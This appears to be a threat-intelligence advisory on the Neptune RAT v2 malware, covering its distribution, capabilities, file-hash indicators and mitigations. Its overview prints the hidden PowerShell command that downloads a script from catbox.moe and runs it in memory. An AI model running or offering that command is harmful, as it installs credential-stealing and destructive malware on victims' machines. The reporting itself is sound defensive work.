Malware

Credential Theft and MBR Wipe Drive Severe Impact Rating for Neptune RAT

Cybersec Sentinel

Apr 9, 2025 • 3 min read

Threat Group – Individuals using the aliases ABOLHB and Rino, operating as the Mason Team / FreeMasonry group and distributing the malware through a freemium Malware‑as‑a‑Service model.
Threat Type – Remote Access Trojan with credential theft, ransomware, destructive wipe, and clipboard hijacking plug‑ins.
Exploited Vulnerabilities – Social‑engineering of users on YouTube, Telegram, and GitHub; execution of malicious PowerShell one‑liners that download payloads from catbox[.]moe; abuse of Windows Registry Run keys and Task Scheduler for persistence.
Malware Used – Neptune RAT v2 (Visual Basic .NET) with modular DLL plug‑ins (Ransomware.dll, Clipper.dll, BlockAntivirus.dll, Destry.dll, Chromium.dll).
Threat Level – High / Critical (widespread distribution, multi‑purpose destructive capabilities, low barrier to entry).
Last Threat Observation – 09 April 2025

Overview

Neptune RAT v2 is a Windows‑focused remote‑access Trojan that blends commodity RAT features with credential theft, ransomware encryption, cryptocurrency clipper, antivirus disablement, and a destructive routine that can overwrite the Master Boot Record.

The developer—working under the names ABOLHB, Rino, Mason Team, and FreeMasonry group—markets the tool as a free “educational” download while selling a premium edition behind a paywall. This freemium approach dramatically expands the threat surface because even unsophisticated actors can weaponise the malware simply by copying a builder‑generated PowerShell command:

powershell -w hidden irm https://files.catbox.moe/<id>.bat | iex

The one‑liner fetches a Base64‑encoded script from catbox[.]moe and executes it directly in memory, bypassing many file‑based security controls. Campaigns observed between 07 and 09 April 2025 leveraged YouTube video descriptions, Telegram channels, and GitHub repositories that masqueraded as game mods or cracked software to trick users into running the command.

The combination of advanced functionality, aggressive persistence, and ease of use led multiple security vendors to classify Neptune RAT as an extremely serious threat within days of its public emergence.

Key Details

Category	Description
Delivery Method	PowerShell one‑liner	iex`) distributed through social platforms; occasional USB propagation when enabled in the builder
Primary Targets	Windows 10 and 11 endpoints used by gamers, cryptocurrency enthusiasts, and small‑to‑mid‑size businesses
Major Functions	1. Remote control and surveillance

Credential theft from more than 270 applications (Chromium browsers, email, VPN, FTP, wallets)
Clipboard crypto‑clipper
Ransomware encryption with AES‑256, .ENC extension, HTML note
Master Boot Record overwrite that renders the system unbootable | | Obfuscation | Multi‑layer packing, custom high‑entropy heaps, extensive Arabic and emoji string substitution, anti‑VM and anti‑debug checks |

Attack Vectors

YouTube video descriptions that promise free software or game cheats include the PowerShell command.
Telegram channels operated by the Mason Team repost the same command.
GitHub repositories posing as penetration‑testing tools embed the one‑liner in their README files.
USB propagation is available as an optional builder setting.

Once executed, Neptune RAT copies itself to %APPDATA%\Roaming\<random> and establishes two forms of persistence—Registry Run key and a Scheduled Task that fires every minute. Command and control uses a raw TCP socket on a port defined by the attacker, supporting up to 500 concurrent sessions per server.

Indicators of Compromise

FileHash-MD5

3b76e0d885816941919c7e7201d89c2e
5337f0fe8bb85d8454803809d2129faa
5d6987094c7ae4a47112d84dc474e8cf
770b5090200d02dd834ed250173726ca
a28c717c899abe4f93dadfa40a1ec157
e4f5af68ab62a442a5dcb6ce0e3d86c2

FileHash-SHA1

09b4710ae76437b1ade0309eb19c0667ac625e51
17306a956646aa93d2a13f4005f8bceb91f691cb
44d3cc8bf362d98b570ee17a41cb65538dbd7bc2
93c1991c32f813540c4344ef8fd6625155e6817d
b6779066dd3a7ac4d9465422ded0c08a3f3d3ceb
f07de1085abd90101c5953b4a72097fe36fb3e4c

FileHash-SHA256

14e196e089014313c9fa8c86ce8cffb1c7adacd7d1df7373d97b30d31b965df9
1bbd4262c8821a0290fe40a8e374c6e5fa2084331670ede42e995d3d5902efcd
20c31ac326b5c6076f9b1497f98b14a0acd36ff562dfa2076589a47a41d0e078
21c832f9d76b8ae74320b8fac811a761f09f871ee32c9ab1c8fb1492b95a7d04
2b4aa36247da1af1de0091e7444fbf8f829d133743bb3b931618c66bbd10d10b
62fdc4b159ad1b4225098276e6f2dcf29d49d9545ac9575d4ff1f6b4f00cdb65
630b1879c2e09b2f49dd703a951fb3786ede36b79c5f00b813e6cb99462bf07c
684d2d50dd42e7ba4e9bd595e9b6f77eb850185556c71db4eda6f78478a5e6fb
6d02eb3349046034cf05e25e28ef173c01d9e0ea1f4d96530defe9e2a3d5e8a0
70554db8312c03c8cce38925db900cdbe8e57e88da29b0bf2f61ed1bbcaa03bd
88cc579613730f847f72e28b4e880bd8104edf6d6ab37ffa0d18f273889d1a40
8df1065d03a97cc214e2d78cf9264a73e00012b972f4b35a85c090855d71c3a5
9a35113e1d9412701d85b5af01b4ad2b1e584c6e0963e439053808b29b4da90a
9ca70da0ea94b3bea68c9a3259ec60192c5be1ae7630a08924053168bbf41335
9fe8a026b5f41a4d434bb808273b83a364a1994a60e2ab7e232a31bf2b76a33f
a19ef7ace3118ff9e5be24b388aff3e56a5bac0d4069bf8480721e3f4508706a
add3e9a1c6654d1ec9b7fd0ffea6bdcd0eb7b3e4afa70c6776835cc238e8f179
cd2b320433843d4d694ae8185c7ef07a90d7dce6d05a38ac4481ad2eab9bcfe5
d0c6f5d916933a1f8d852ca42163ff50bfe07132fcacac03db7d20f573284208
da27b3619e958d58f0a8867d765421328632b834b3a18955508609a3028a96df
dec534ab858a71575a3836b96d0f96df89eb8ba50f9bc69350faa0f7bcccfd25
e03f6f8d0ce9abdda3e3fff801babcd4448a567f330c4cac498fec39652f3c77
e310a1b264912ae886cd956abc42dee846455a99f67c3ea8336a202240bd7dfa
e8c8f74ae15e7d809d9013bdfa2a10dd54e00d4ea5ff4ed6cd4a163b80d2d318

Mitigation and Prevention

User Awareness – Run micro‑training on the dangers of executing copy‑paste PowerShell commands from social media.
Email and Web Filtering – Block or closely inspect traffic to catbox[.]moe and restrict access to raw GitHub content for untrusted users.
Endpoint Protection – Enable AMSI for PowerShell, and create EDR rules to alert or block on Invoke‑RestMethod piped to Invoke‑Expression.
Multi‑Factor Authentication – Enforce MFA to limit the impact of credential theft.
Log Monitoring – Alert on new Scheduled Tasks with a one‑minute interval and on Registry Run key modifications pointing to %APPDATA%.
Regular Updates – Patch browsers, the .NET runtime, and disable unused PowerShell versions.
Network Segmentation and Egress Controls – Limit outbound TCP to the internet and proxy inspect for unusual high‑port traffic.

Risk Assessment

Likelihood – High: The malware is freely available and requires minimal skill to deploy.
Impact – Severe: Combines credential theft, ransomware, and destructive wipe functions.
Overall Risk – High / Critical: Especially for organisations without robust PowerShell logging, EDR, and least‑privilege controls.

Conclusion

Neptune RAT demonstrates how destructive, multi‑purpose malware is becoming accessible to a broad attacker base through freemium distribution. Its combination of credential theft, encryption, and system destruction, coupled with aggressive persistence and LOTL execution, demands immediate defensive action. Focus on PowerShell visibility, MFA, and layered endpoint controls to reduce exposure.